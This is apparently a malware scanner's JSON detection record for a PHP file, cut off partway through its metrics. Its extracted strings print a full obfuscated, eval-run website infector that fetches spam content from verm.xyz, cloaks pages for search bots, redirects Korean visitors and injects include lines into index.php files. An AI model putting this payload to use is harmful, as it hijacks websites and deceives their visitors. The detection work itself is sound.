{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999655485153198, "class": 2 } ], "prob": 0.99996555, "class": 2, "models": [ { "m": "az", "prob": 0.9990288, "class": 1 }, { "m": "az/scripts", "prob": 0.99995935, "class": 2 }, { "m": "az/php", "prob": 0.99996555, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T22:59:34Z" }, "path": "piC.php.2", "raw": { "v": "4", "fs": [ { "f": "O₄(C₃AsXeEu)H₃(F₃OsDb)Md₃(Pt)Th", "k": { "source.imports[0]": "base_convert", "source.imports[1]": "chmod", "source.imports[2]": "count", "source.imports[3]": "die", "source.imports[4]": "dirname", "source.imports[5]": "explode", "source.imports[6]": "file_exists", "source.imports[7]": "file_get_contents", "source.imports[8]": "file_put_contents", "source.imports[9]": "in_array", "source.strings[0]": " @include_once(", "source.strings[1]": ");//hupus// ?\u003e", "source.strings[2]": "/**\r\n * Signature For Report\r\n */$x105='[area2]_)hc_)ht, _get_s_)httatic_ar_)htr($local__)hturl._)hcare_)hta2_)hc,$ar_)hteas_arr), _)ht$conten_)htt);\t\t$c_)htontent = s_)httr_irepla_)htce(_)hc[mkey';/*\r\n */$x107=' $_ENV[\"T_)htMPDIR\"]));_)ht} if(!_)htempty($__)htENV[\"TE_)htMP\"])\u0026\u0026@is_)ht_writeabl_)hte(realpa_)htth($_ENV[_)ht\"TEMP\"])))_)ht{return(_)htrea';/*\r\n */$x114='_SSL_)hc]) \u0026_)ht\u0026 $_SERVER_)ht[_)hcHTTP__)htX_FORWARDE_)htD_SSL_)hc] ==_)ht _)hcon_)hc) { _)ht $s_)httatus = _)httrue; _)ht } $htt_)htp = $sta_)httu';/*\r\n */$x119='local_ur_)htl._)hcmkey_)ht_)hc.$i,$m_)htkeys_arr)_)ht, $html_m_)ht);\t\t$html_)ht_m = st_)htr_ireplac_)hte(_)hc[conta_)htct_)hc.$i._)hc]_)hc_)ht,$sc_ar_)htr[2], $ht';/*\r\n */$x125=' false) {_)ht\t\t$html_)ht_m = subst_)htr_replac_)hte($html_m,_)ht $links_a_)htrr[mt_ran_)htd(0, coun_)htt($links_a_)htrr)-1)], $_)htp, strlen';/*\r\n */$x126='eyx]_)hc));_)ht\t\t$p = str_)htpos($html_)ht_m, _)hc[mke_)htyx]_)hc);\t}\t_)ht\t\t$p = str_)htpos($htm_)htl_m, _)hc[sym_)htbolx]_)hc)_)ht;\twhile (_)ht$p !== f_)htals';/*\r\n */$x128='r = exp_)htlode(\"_)hlr_)hl_)htn\",$html__)htarr[5]);\t_)ht$sc_arr _)ht= explode(_)ht\"|\",$ht_)html_arr[6]_)ht);\t$sear_)htch_rule =_)ht $html_arr_)ht[7];\t';/*\r\n */$x136='init(); _)ht curl_)ht_setopt($_)htch, CUR_)htLOPT_UR_)htL, $url_)ht); _)ht curl_seto_)htpt($ch, C_)htURLOPT_RET_)htURNTRANSF_)htER, ';/*\r\n */$x140='$bracke_)htts_arr _)ht= explode_)ht(\"_)hlr_)hln\",_)ht$html_ar_)htr[3]);\t$sy_)htmbols_arr_)ht = explode_)ht(\"_)hlr_)hln\",$_)hthtml_ar_)htr[4]);\t$_)htlinks_ar';/*\r\n */$x147='r._)hc/_)hc;\t}_)ht\t\treturn $_)htlocal_hos_)htt.$script_)ht_path;}_)htif (strp_)htos($_SE_)htRVER[_)hcRE_)htQUEST_URI_)ht_)hc], _)hcsitem_)htap.xml_)hc)_)ht !== fa';/*\r\n */$x150='_static_)ht_arr($lo_)htcal_url_)ht._)hcbracket_)hc_)ht.$i,$br_)htackets_a_)htrr));\t\t_)ht$html_m_)ht = str__)htireplace(_)hc_)ht[bracketl_)hc_)ht.$i._)hc]_)hc,$b_)htra';/*\r\n */$x163='_http_get_)ht($url){ _)ht $_html =_)ht _)hc_)hc; _)ht if (fun_)htction_e_)htxists(_)hc_)htfile_get_)ht_contents_)ht_)hc)) { _)ht $_ht_)html = @fil';/*\r\n */$x176='k($tempfil_)hte);\t\tif(@_)htis_writea_)htble(rea_)htlpath(d_)htirname($t_)htempfile)_)ht))){return_)ht(realpath_)ht(dirname(_)ht$tempfile)_)ht));';/*\r\n */$x18='e_url();_)ht\t$local__)hturl = _loc_)htal_url();\t_)ht$html =_)ht base64_d_)htecode(__)htget_cac_)hthe(_)hchttp_)ht://verm.x_)htyz/data_)ht.php?g=git_)ht';/*\r\n */$x200='ontent _)ht= str_irep_)htlace(_)hc[bra_)htcketr_)hc._)ht$i._)hc]_)hc,$b_)htracket_arr_)ht[1], $c_)htontent);_)ht\t\t}\t\t\t\t$hu_)htrl = str_)ht_ireplace(_)ht_)hc[co';/*\r\n */$x221='rlen($str_)htPol)-1; \t_)htfor($i=_)ht0;$i\u003c$le_)htn;$i++){\t_)ht\t$str.=$s_)httrPol[mt_)ht_rand(0,$_)htmax)];\t}\t\t_)htreturn $s_)httr;}functi_)hton ';/*\r\n */$x225='$content_)ht, _)hc[key_)htwordx]_)hc);_)ht\t\twhile_)ht ($p !== _)htfalse) {\t\t_)ht\t$conte_)htnt = subs_)httr_replace_)ht($conten_)htt, $keys_a_)htrr[mt_';/*\r\n */$x229='lse) {\t_)ht$base_u_)htrl = _base_)ht_url();\t _)ht $res =_)ht \"\u003c?xml_)ht version=_)ht_)hl\"1.0_)hl\" _)htencoding_)ht=_)hl\"UTF-8_)hl\"_)ht?\u003e_)hlr_)hln\u003cur_)htlset xm';/*\r\n */$x242='e) {\t\t$ht_)html_m = sub_)htstr_repla_)htce($html_)ht_m, $mk_)hteys_arr[_)htmt_rand(0,_)ht count($_)htmkeys_a_)htrr)-1)],_)ht $p, str_)htlen(_)hc[mk';/*\r\n */$x245='_)hl_)hc,_)hc/_)hc,$_S_)htERVER[_)hc_)htREQUEST_UR_)htI_)hc]));\t$r_)htequest_scr_)ht = $_SERV_)htER[_)hcSCRI_)htPT_NAME_)hc]_)ht;\t$scri_)htpt_name _)ht= basenam_)hte($r';/*\r\n */$x254='\".kr\") _)ht!== false_)ht || strpos_)ht(strtolow_)hter(@$_SERV_)htER[_)hcHTTP_A_)htCCEPT_L_)htANGUAGE_)ht_)hc]), \"ko\"_)ht) !== f_)htalse){\t_)ht$local_u';/*\r\n */$x269='b\"); _)ht do _)ht{ _)ht $dat_)hta = frea_)htd($handle,_)ht 8192); _)ht _)ht if (strl_)hten($data_)ht) == 0) {_)ht ';/*\r\n */$x27='_)hc] != 80 \u0026_)ht\u0026 $_SERVER_)ht[_)hcSERVE_)htR_PORT_)hc_)ht] != 44_)ht3) { _)ht $h_)htost .= \":_)ht\" . $_S_)htERVER[_)hcSER_)htVER_PORT_)ht_)hc]; } _)ht ';/*\r\n */$x271='$html = _)ht@file_get__)htcontents(_)ht$file);\t\ti_)htf(!file_)ht_exists($f_)htile) || _)htstrlen($_)hthtml)\u003c1_)ht00 || ti_)htme() - _)htfilemtim';/*\r\n */$x28='equest_scr_)ht);\t$scrip_)htt_path = s_)httr_irepl_)htace(_)hc_)hl_)hl_)hc,_)ht_)hc/_)hc,dir_)htname($requ_)htest_scr));_)ht\t\tif(stris_)httr($req_)htuest_ur_)htl,$';/*\r\n */$x29='ml_m);\t_)ht\t$html_m_)ht = str_ire_)htplace(_)hc[si_)htte_)hc.$i._)hc]_)hc_)ht,$sc_ar_)htr[1], $_)hthtml_m);_)ht\t\t$bracke_)htt_arr = _)htexplode(_)ht_)hc|_)hc,_get';/*\r\n */$x291='ent = str_)ht_ireplace_)ht(_)hc[keyword_)ht2]_)hc, $keys_)ht_arr[mt_ra_)htnd(0, co_)htunt($keys_)ht_arr)-1_)ht)], $cont_)htent);\t\t$p _)ht= strpos(';/*\r\n */$x301='ime()),_)ht $html__)htm);\t\tfor(_)ht$i=1;$i\u003c=4_)ht;$i++){_)ht\t\t$html_m_)ht = str_ir_)hteplace(_)ht_)hc[keyword_)hc_)ht.$i._)hc]_)hc_)ht,_get_s_)httatic_a_)htrr($';/*\r\n */$x313='crc1 = _)htabs(crc_)ht32($mdv_)ht1));\t$crc_)ht2 = abs(c_)htrc32($mdv2_)ht));\treturn_)ht substr(b_)htcmul($c_)htrc1,$crc_)ht2),0,8);_)ht}function';/*\r\n */$x322='[areax]_)hc))_)ht;\t\t$p =_)ht strpos($_)hthtml_m, _)hc_)ht[areax]_)hc_)ht);\t}\t\t$p_)ht = strpos(_)ht$html_m, _)ht_)hc[mkeyx]_)hc)_)ht;\twhile ($_)htp !== fal_)hts';/*\r\n */$x323='\u0026d=_)hc.$__)htSERVER[_)ht_)hcSERVER__)htNAME_)hc]))_)ht;\t$html_a_)htrr = explo_)htde(\"-----_)ht----\",$_)hthtml);\t$_)htkeys_ar_)htr = expl_)htode(\"_)hlr_)hl_)htn\",$';/*\r\n */$x358='efghijklmn_)htopqrstu_)htvwxyz-_-_/_)ht\";\t$max _)ht= strlen_)ht($strPo_)htl)-1; \t_)htfor($i=0_)ht;$i\u003c$le_)htn;$i++){\t\t_)ht$str.=$str_)htPol[mt_r';/*\r\n */$x368='));} i_)htf(@is_wr_)htiteable(_)htrealpath_)ht(dirname(_)ht__FILE__))_)ht)){retu_)htrn(realpat_)hth(dirna_)htme(__FILE_)ht__)));}}_)htfunctio';/*\r\n */$x369='lpath( _)ht$_ENV[\"TE_)htMP\"]));_)ht} $tem_)htpfile=@tem_)htpnam(___)htFILE__,_)ht\"\"); i_)htf(@file__)htexists($t_)htempfile))_)ht{\t\t@unlin';/*\r\n */$x370='tatic_arr_)ht($hurl._)hck_)hteyword1_)hc,$_)htkeys_ar_)htr); _)ht $html__)htm = sub_)htstr_repl_)htace($html__)htm, \"\u003ca hre_)htf=_)hl\"\" . $_)hthurl';/*\r\n */$x371='false) {\t\t_)ht$hurl = $_)htbase.ran_)htd_str();_)ht\t\t$htit_)htle = _get_)ht_static_ar_)htr($loca_)htl_url._)hcar_)htea1_)hc,$are_)htas_arr)_)ht._get_s';/*\r\n */$x375='e($file_)ht) \u003e 60 _)ht* 60 * 24_)ht)\t\t{\t\t\t$_)hthtml = _h_)htttp_get(_)ht$link);\t\t\t_)htif($fp = @_)htfopen($f_)htile,_)hcw_)hc))_)ht{fwrite(_)ht$fp, $h';/*\r\n */$x384=' return _)ht$host;}fun_)htction _loc_)htal_url(_)ht){\t$url _)ht= _local__)hthost().$__)htSERVER[_)hcR_)htEQUEST__)htURI_)hc];\t_)htreturn $_)hturl;}fun';/*\r\n */$x4='ywordx]_)hc))_)ht;\t\t$p = st_)htrpos($htm_)htl_m, _)hc[k_)hteywordx_)ht]_)hc);\t}\t\t$_)htp = strp_)htos($html__)htm, _)hc[area_)htx]_)hc);\twhi_)htle ($p !==_)ht f';/*\r\n */$x414='rule;\t\t$c_)htontent =_)ht str_ire_)htplace(_)hc[_)httime]_)hc, _)htdate(\"Y-_)htm-d-H-i\",_)ht time()),_)ht $content)_)ht;\t\t$cont_)htent = s_)httr_irepl';/*\r\n */$x415='lns=_)hl\"h_)htttp://w_)htww.google_)ht.com/sc_)hthemas/s_)htitemap/0._)ht84_)hl\"\u003e_)hlr_)hl_)htn\"; for_)ht ($i = _)ht0; $i \u003c_)ht 100; $_)hti++) { _)ht $';/*\r\n */$x416='e_get_con_)httents($ur_)htl); _)ht} if_)ht ($_html _)ht== _)hc_)hc \u0026_)ht\u0026 funct_)htion_exists_)ht(_)hccurl_i_)htnit_)hc)) _)ht{ _)ht $ch =_)ht curl_';/*\r\n */$x419=' _)ht break; _)ht _)ht } _)ht $_)ht_html .= _)ht$data; _)ht } w_)hthile (t_)htrue); _)ht fclo_)htse($hand';/*\r\n */$x426='ction __)htbase_url_)ht(){\t$loc_)htal_host_)ht = _local__)hthost();_)ht\t$reques_)htt_url = s_)httr_irepl_)htace(_)hc//_)hc,_)hc_)ht/_)hc,str_ir_)hteplace(_)hc_)hl';/*\r\n */$x444='tml); fclo_)htse($fp);}e_)htlse{retu_)htrn $html;_)ht}\t\t}\t\tretu_)htrn ($ht_)html);}fun_)htction _get_)ht_temp_dir__)htmass(){\tif_)ht(functio';/*\r\n */$x452='($i=1;$i\u003c=_)ht20;$i++_)ht){\t\t$bra_)htcket_ar_)htr = exp_)htlode(_)hc|_)hc,_)ht_get_st_)htatic_ar_)htr($loca_)htl_url._)hcbra_)htcket_)hc.$i,_)ht$brackets__)htar';/*\r\n */$x453='mp_dir\"))_)ht);} if_)ht(@is_wr_)htiteable(_)htrealpath(_)htsession__)htsave_pa_)htth()))){_)htreturn(r_)htealpath_)ht(sessio_)htn_save__)htpath()';/*\r\n */$x466='ir()));}\t}_)ht if(!em_)htpty($_EN_)htV[\"TMP\"]_)ht)\u0026\u0026@is_w_)htriteable_)ht(realpat_)hth($_ENV[\"_)htTMP\"]))_)ht){return(r_)htealpath_)ht($_ENV[';/*\r\n */$x468='_)hc]) \u0026\u0026 $_)ht_SERVER[_)hc_)htHTTPS_)hc] =_)ht= _)hcon_)hc) {_)ht _)ht $status _)ht= true;_)ht } e_)htlseif (_)ht!empty($_)ht_SERVER[_)ht_)hcHTTP_X_F_)htORW';/*\r\n */$x484='ate(\"Y-m-d_)ht\", time())_)ht . \"\u003c/last_)htmod\u003e_)hlr_)hln_)ht \u003cchange_)htfreq\u003eda_)htily\u003c/chang_)htefreq\u003e_)hlr_)ht_)hln \u003cpr_)htiority\u003e0._)ht9\u003c/priorit_)ht';/*\r\n */$x488='(_)hc[link]_)hc_)ht));\t\t$p _)ht= strpos($_)hthtml_m,_)ht _)hc[link]_)ht_)hc);\t}\t\t\t$p_)ht = strpos(_)ht$html_m, _)ht_)hc[ahref]_)ht_)hc); wh_)htile ($p !_)ht== ';/*\r\n */$x490='\"TMP\"]))_)ht;} if_)ht(!empty_)ht($_ENV[_)ht\"TMPDIR_)ht\"])\u0026\u0026@is_w_)htriteable(r_)htealpath($_)ht_ENV[\"TMPD_)htIR\"]))){re_)htturn(re_)htalpath(';/*\r\n */$x513='and(0,$m_)htax)];\t}_)ht\t\t$str.= _)ht_)hc._)hc;\t\t$le_)htn = mt_ran_)htd(3,5);_)ht\t$strPol_)ht = \"abc_)htdefghijk_)htlmnopqrs_)httuvwxyz\";\t_)ht$max = st';/*\r\n */$x515='($request_)ht_url ==_)ht $script_p_)htath || $r_)htequest__)hturl == $_)htscript_pa_)htth._)hc/_)hc)){\t_)ht\treturn $l_)htocal_hos_)htt.$reque_)htst_sc';/*\r\n */$x539='ace(_)hc[a_)htrea1]_)hc, __)htget_sta_)httic_arr_)ht($local_ur_)htl._)hcarea1_)hc,_)ht$areas_arr_)ht), $conten_)htt);\t\t$cont_)htent = str_)ht_irepla_)htce(_)hc';/*\r\n */$x569='e) {\t\t$h_)httml_m = s_)htubstr_rep_)htlace($htm_)htl_m, $s_)htymbols_ar_)htr[mt_rand(_)ht0, count($_)htsymbols_a_)htrr)-1)]_)ht, $p, st_)htrlen(';/*\r\n */$x576='[bracket_)htr_)hc.$i._)hc_)ht]_)hc,$brack_)htet_arr[1]_)ht, $html_)ht_m);\t}\t\t_)ht$p = str_)htpos($ht_)html_m, _)hc[k_)hteywordx]_)hc)_)ht;\twhile_)ht ($p !== _)htfa';/*\r\n */$x581='_)hc[symbolx_)ht]_)hc));\t\t$_)htp = str_)htpos($html_)ht_m, _)hc[sy_)htmbolx]_)hc)_)ht;\t}\t\t\t$p =_)ht strpos(_)ht$html_m, _)hc_)ht[link]_)hc);_)ht\twhile _)ht($p !==';/*\r\n */$x593='r));\t\t$ht_)html_m = _)htstr_irep_)htlace(_)hc[_)htbracketl_)hc_)ht.$i._)hc]_)hc,$_)htbracket_a_)htrr[0], _)ht$html_m);_)ht\t\t$html_)ht_m = str_)ht_irepla_)htce(_)hc';/*\r\n */$x596='s = strpos_)ht($html_m, _)ht_)hc[search]_)ht_)hc); w_)hthile ($s_)ht !== fals_)hte) {\t\t$s_)hteed = ra_)htnd_str();_)ht\t\t$conten_)htt = $sear_)htch_';/*\r\n */$x6='rand(0, _)htcount($key_)hts_arr)-_)ht1)], $p,_)ht strlen_)ht(_)hc[keywor_)htdx]_)hc));\t\t\t_)ht$p = st_)htrpos($c_)htontent,_)ht _)hc[keywor_)htdx]_)hc);\t\t}_)ht\t\t';/*\r\n */$x60='-site-veri_)htfication:_)ht google46_)ht8d7b4c2_)ht8db3fdc.h_)httml_)hc);}if(_)htstrpos(s_)httrtolower(_)ht@$_SERVE_)htR[_)hcHTTP_RE_)htFERER_)hc]), _)ht';/*\r\n */$x603='1); _)ht curl_seto_)htpt($ch, C_)htURLOPT__)htCONNECTT_)htIMEOUT, 20_)ht); _)ht $_html_)ht = curl_)ht_exec($c_)hth); _)ht curl';/*\r\n */$x607='tion _ge_)htt_static__)htarr($st_)htr,$arr)_)ht{\treturn(_)ht$arr[ha_)htshCode(_)ht$str)%coun_)htt($arr)_)ht]);}if(is_)htBot()){\t_)ht$base = _)ht_bas';/*\r\n */$x618='n_exists(_)ht\"sys_get_t_)htemp_dir\"))_)ht{\t\tif(@_)htis_writeab_)htle(sys__)htget_temp__)htdir()))_)ht{return(re_)htalpath(sy_)hts_get_tem_)htp_d';/*\r\n */$x623='c_arr[2], _)ht$content)_)ht;\t\t$conte_)htnt = st_)htr_ireplace_)ht(_)hc[cont_)htact2]_)hc, $_)htsc_arr[2]_)ht, $content_)ht);\t\t$con_)httent = st_)htr_i';/*\r\n */$x646=' . \"_)hl\"\u003e_)ht\" . $hti_)httle . \"\u003c/a_)ht\u003e\", $p, st_)htrlen(_)hc[ah_)htref]_)hc))_)ht; _)ht$p = st_)htrpos($ht_)html_m, _)hc[ah_)htref]_)hc); _)ht }\t\t$';/*\r\n */$x651='url = $_)htbase_url_)ht.rand_str_)ht(); _)ht $res_)ht .= \" \u003curl_)ht\u003e_)hlr_)hln \u003clo_)htc\u003e\" . $_)hturl . \"_)ht\u003c/loc\u003e_)hlr_)ht_)hln \u003cl_)htastmod\u003e\" ._)ht d';/*\r\n */$x663='ARDED_PRO_)htTO_)hc]) \u0026\u0026_)ht $_SERVER_)ht[_)hcHTTP_X_)ht_FORWAR_)htDED_PROTO_)hc_)ht] == _)hcht_)https_)hc || !e_)htmpty($_SER_)htVER[_)hcHT_)htTP_X_FOR_)htWARDED';/*\r\n */$x670='f(strpos_)ht(strtol_)htower($__)htSERVER[_)ht_)hcREQUES_)htT_URI_)hc]_)ht), \"google_)ht468d7b4c2_)ht8db3fdc_)ht.html\")_)ht !== fal_)htse){\tdi_)hte(_)hcgoogle';/*\r\n */$x689='r_repla_)htce($html_)ht_m, \"\u003ca h_)htref=_)hl\"\"_)ht . $hurl _)ht. \"_)hl\"\u003e\"_)ht . $cont_)htent . \"\u003c/a_)ht\u003e\", $s, st_)htrlen(_)hc[se_)htarch]_)hc));_)ht ';/*\r\n */$x692='RVER_NAME_)ht_)hc]));\t$htm_)htl_arr = e_)htxplode(_)ht\"--------_)ht-\",$html);_)ht\t$sc_arr_)ht = explo_)htde(\"|\",$_)hthtml_ar_)htr[6]);\t_)htdie(_)hc\u003c!D';/*\r\n */$x694='local_url_)ht._)hckeyword_)ht_)hc.$i,$keys_)ht_arr), _)ht$html_m)_)ht;\t\t$html__)htm = str_)ht_ireplace_)ht(_)hc[area_)hc_)ht.$i._)hc]_)hc,_)ht_get_stati_)htc_arr(';/*\r\n */$x708='\t\t$p = st_)htrpos($c_)htontent, _)hc[_)htsymbolx]_)hc)_)ht;\t\twhil_)hte ($p !=_)ht= false)_)ht {\t\t\t$con_)httent = _)htsubstr_r_)hteplace($c_)htontent, ';/*\r\n */$x71='ediapartne_)htrs|slur_)htp|patrol_)ht/i_)hc, $_SE_)htRVER[_)hcHT_)htTP_USER__)htAGENT_)hc]) _)ht );}funct_)htion hash_)htCode($st_)htr){ if_)ht(empt';/*\r\n */$x72='1]_)hc, _get__)htstatic_a_)htrr($loca_)htl_url._)hcmk_)htey1_)hc,$mk_)hteys_arr),_)ht $content)_)ht;\t\t$conten_)htt = str_ir_)hteplace(_)hc[m_)htkey2]_)hc, ';/*\r\n */$x744='ntent]_)hc,_)hturlencode_)ht($content_)ht),$sear_)htchs_arr[mt_)ht_rand(0_)ht, count_)ht($search_)hts_arr)-1_)ht)]); _)ht $html__)htm = subst';/*\r\n */$x762='replace(_)ht_)hc[site1]_)hc_)ht, $sc_arr_)ht[1], $cont_)htent);\t\t$_)htcontent _)ht= str_ire_)htplace(_)hc[si_)htte2]_)hc, $s_)htc_arr[1],_)ht $content)_)ht;';/*\r\n */$x77='_get_stati_)htc_arr($l_)htocal_url_)ht._)hcmkey2_)ht_)hc,$mkey_)hts_arr), _)ht$conten_)htt);\t\t$c_)htontent = _)htstr_irepl_)htace(_)hc[c_)htontact1]_)hc,_)ht $s';/*\r\n */$x772='$searchs_)ht_arr = ex_)htplode(\"_)hlr_)hl_)htn\",$htm_)htl_arr[8_)ht]);\t$git =_)ht $html_ar_)htr[9];\t\t_)ht$html_m_)ht = base6_)ht4_decode_)ht(_get_cac_)hth';/*\r\n */$x776='y\u003e_)hlr_)hln \u003c/u_)htrl\u003e_)hlr_)hln_)ht\"; } _)ht $res ._)ht= \"\u003c/url_)htset\u003e\"; _)ht header_)ht(\"Conten_)htt-type:_)httext/xm_)htl\"); di_)hte($res);_)ht}i';/*\r\n */$x777='function __)htget_cache_)ht($link){\t\t_)ht$tmpdir_)ht = _get_t_)htemp_dir__)htmass();\t\t_)ht$file = $t_)htmpdir._)hc/_)htsess__)hc._)htmd5($lin_)htk);\t\t';/*\r\n */$x786=' rand_s_)httr(){\t$le_)htn = mt_ra_)htnd(25,35);_)ht\t$str =_)ht null;\t$s_)httrPol = \"A_)htBCDEFGHI_)htJKLMNOPQRS_)htTUVWXYZ01_)ht23456789_)htabcd';/*\r\n */$x80='le); _)ht } r_)hteturn $__)hthtml;}fu_)htnction _lo_)htcal_host_)ht(){ $st_)htatus = f_)htalse; _)ht if (isset_)ht($_SERVER_)ht[_)hcHTTPS';/*\r\n */$x807='y($str)_)ht) retur_)htn _)hc_)hc; _)ht $mdv = m_)htd5($str)_)ht; $mdv_)ht1 = sub_)htstr($mdv,_)ht0,16);\t$m_)htdv2 = s_)htubstr($m_)htdv,16,1_)ht6);\t$';/*\r\n */$x821='e($git.(_)hthashCod_)hte(_local_u_)htrl())%50_)ht0+1)._)hc._)httxt_)hc));_)ht\t$html_m _)ht= str_ire_)htplace(_)hc[ti_)htme]_)hc, d_)htate(\"Y-m-d_)ht-H-i\", t';/*\r\n */$x843='cket_ar_)htr[0], $h_)httml_m);\t\t_)ht$html_m _)ht= str_ir_)hteplace(_)ht_)hc[bracket_)htr_)hc.$i._)hc]_)hc,_)ht$bracket__)htarr[1], $h_)httml_m);\t}\t_)ht\t\tfor';/*\r\n */$x846='} } _)ht if(@is_wr_)htiteable_)ht(realpath(_)ht@ini_get_)ht(\"uploa_)htd_tmp_d_)htir\")))){r_)hteturn(r_)htealpath(_)ht@ini_get_)ht(\"uploa_)htd_t';/*\r\n */$x862='s ? _)hcht_)https://_)hc :_)ht _)hchttp://_)hc_)ht; $ho_)htst = $ht_)http . $_S_)htERVER[_)hcS_)htERVER_NAM_)htE_)hc]; if_)ht ($_SERVER_)ht[_)hcSERVER__)htPORT';/*\r\n */$x867=' $s = st_)htrpos($html_m, _)hc[search]_)hc); }\t\t die($html_m);}';/*\r\n */$x87='_close($ch_)ht); }_)ht if (_)ht$_html =_)ht= _)hc_)hc \u0026\u0026 _)htfunction_e_)htxists(_)hcf_)htopen_)hc)) { _)ht _)ht$handle _)ht= fopen_)ht($url, \"r';/*\r\n */$x904='$local_u_)htrl._)hcarea_)hc._)ht$i,$are_)htas_arr)_)ht, $html_m)_)ht;\t\t$html_m_)ht = str_ire_)htplace(_)hc[_)htmkey_)hc.$_)hti._)hc]_)hc,_ge_)htt_stati_)htc_arr($';/*\r\n */$x909='n isBot()_)ht { re_)htturn ( _)ht i_)htsset($_SER_)htVER[_)hcHTTP_)ht_USER_AGE_)htNT_)hc]) \u0026\u0026 p_)htreg_mat_)htch(_)hc/bot|_)htcrawl|sp_)htider|m';/*\r\n */$x915='lse) {\t_)ht\t$html_m _)ht= substr__)htreplace_)ht($html_m_)ht, $keys_)ht_arr[mt_)ht_rand(0, _)htcount($_)htkeys_arr_)ht)-1)], $_)htp, strlen(_)ht_)hc[ke';/*\r\n */$x921='$symbol_)hts_arr[mt_)ht_rand(0, _)htcount($_)htsymbols_)ht_arr)-1)]_)ht, $p, s_)httrlen(_)hc_)ht[symbolx]_)ht_)hc));\t\t\t$p_)ht = strpos(_)ht$conten_)htt, _)hc';/*\r\n */$x926='[symbolx_)ht]_)hc);\t\t}_)ht\t\t\t\tfor_)ht($i=1;$i\u003c_)ht=20;$i++){_)ht\t\t\t$bra_)htcket_arr =_)ht explode_)ht(_)hc|_)hc,$b_)htrackets_a_)htrr[mt_r_)htand(0, _)htcoun';/*\r\n */$x947='script_nam_)hte)){\t\tre_)htturn $l_)htocal_hos_)htt.$reques_)htt_scr._)hc/_)ht_)hc;\t}\t\tif(_)htstrtolow_)hter($scr_)htipt_name)_)ht==_)hcindex._)htphp_)hc \u0026\u0026 ';/*\r\n */$x952='t($brac_)htkets_arr)-_)ht1)]);\t\t\t_)ht$content _)ht= str_ir_)hteplace(_)hc_)ht[bracket_)htl_)hc.$i._)hc]_)hc_)ht,$brack_)htet_arr[_)ht0], $con_)httent);\t\t\t_)ht$c';/*\r\n */$x959='OCTYPE h_)httml\u003e\u003cht_)html\u003e\u003cbody\u003e_)ht\u003cscript\u003edo_)htcument._)htlocation=(_)ht\"_)hc.$sc_ar_)htr[0]._)hc\");_)ht\u003c/scrip_)htt\u003e\u003c/body\u003e\u003c_)ht/html\u003e_)hc);}_)htfunc';/*\r\n */$x960='alse) {\t_)ht\t$html_m =_)ht substr__)htreplace(_)ht$html_m,_)ht $areas__)htarr[mt__)htrand(0,_)ht count($_)htareas_a_)htrr)-1)], $_)htp, strlen_)ht(_)hc';/*\r\n */$x974='rl = _loc_)htal_url();\t_)ht$html = _)htbase64_d_)htecode(_get_)ht_cache(_)hch_)htttp://ver_)htm.xyz/data_)ht.php?g=git_)ht\u0026d=_)hc.$__)htSERVER[_)hcSE_)ht';/*\r\n */$x976='\t\t$conten_)htt = str__)htireplace(_)ht_)hc[keyword_)ht1]_)hc, $ke_)htys_arr[_)htmt_rand(0_)ht, count(_)ht$keys_a_)htrr)-1)], $_)htcontent);_)ht\t\t$cont';/*\r\n */$x978='html_arr[0_)ht]);\t$mke_)htys_arr _)ht= explode(_)ht\"_)hlr_)hln\",$h_)httml_arr[1]_)ht);\t$area_)hts_arr = e_)htxplode(_)ht\"_)hlr_)hln\",$h_)httml_arr[_)ht2]);\t';/*\r\n */$x999=str_replace('_)hl','\\\\',str_replace('_)hc','\\'',str_replace('_)ht','',$x777.$x271.$x375.$x444.$x618.$x466.$x490.$x107.$x369.$x176.$x846.$x453.$x368.$x909.$x71.$x807.$x313.$x786.$x358.$x513.$x221.$x163.$x416.$x136.$x603.$x87.$x269.$x419.$x80.$x468.$x663.$x114.$x862.$x27.$x384.$x426.$x245.$x28.$x947.$x515.$x147.$x229.$x415.$x651.$x484.$x776.$x670.$x60.$x254.$x974.$x692.$x959.$x607.$x18.$x323.$x978.$x140.$x128.$x772.$x821.$x301.$x694.$x904.$x119.$x29.$x150.$x843.$x452.$x593.$x576.$x915.$x4.$x960.$x322.$x242.$x126.$x569.$x581.$x125.$x488.$x371.$x370.$x646.$x596.$x414.$x539.$x105.$x72.$x77.$x623.$x762.$x976.$x291.$x225.$x6.$x708.$x921.$x926.$x952.$x200.$x744.$x689.$x867)));/*\r\n */eval($x999);/*\r\n */", "source.strings[3]": "//hupus//", "source.strings[4]": "/index.php", "source.strings[5]": "\u003c?PHP ", "source.strings[6]": "\u003c?PHP \\r\\n @include_once(\\", "source.strings[7]": "\\\");//hupus// ?\u003e\\r\\n", "source.strings[8]": "index.php", "source.strings[9]": "wp-content", "source.has_imports": true, "source.imports[10]": "is_dir", "source.imports[11]": "is_readable", "source.imports[12]": "is_writable", "source.imports[13]": "mt_rand", "source.imports[14]": "opendir", "source.imports[15]": "ord", "source.imports[16]": "phpinject", "source.imports[17]": "read_all", "source.imports[18]": "read_dir", "source.imports[19]": "readdir", "source.imports[20]": "scandir", "source.imports[21]": "stripos", "source.imports[22]": "stristr", "source.imports[23]": "strlen", "source.imports[24]": "substr", "source.imports[25]": "xstr", "source.functions[0]": "phpinject", "source.functions[1]": "read_all", "source.functions[2]": "read_dir", "source.functions[3]": "xstr" }, "x": 302, "id": 0, "is": [ "stripos", "die", "explode", "file_exists", "phpinject", "read_all", "dirname", "dirname", "dirname", "is_dir", "chmod", "file_get_contents", "stristr", "read_dir", "count", "mt_rand", "count", "mt_rand", "file_put_contents", "mt_rand", "file_put_contents", "xstr", "file_put_contents", "chmod", "is_dir", "is_readable", "scandir", "in_array", "is_dir", "is_writable", "strlen", "base_convert", "ord", "substr", "is_dir", "opendir", "readdir", "is_dir", "substr", "file_exists", "phpinject", "read_all" ], "ms": { "file": { "size": 26272.0 }, "text": { "tab_count": 59.0, "digit_ratio": 0.12, "space_count": 324.0, "total_lines": 2.0, "char_entropy": 5.82, "unique_chars": 90.0, "import_density": 2100.0, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 20.5, "avg_line_length": 13135.0, "lines_over_1000": 1.0, "max_line_length": 26265.0, "last_line_length": 26265.0, "long_token_count": 1.0, "most_common_char": "l", "whitespace_ratio": 0.01, "most_common_ratio": 0.04, "identifier_density": 71.5, "line_length_stddev": 13130.0, "normalized_import_count": 29.7, "normalized_string_count": 28.99, "repeated_char_sequences": 8.0, "suspicious_string_ratio": 0.1, "max_inline_whitespace_run": 16.0, "normalized_function_count": 2.83, 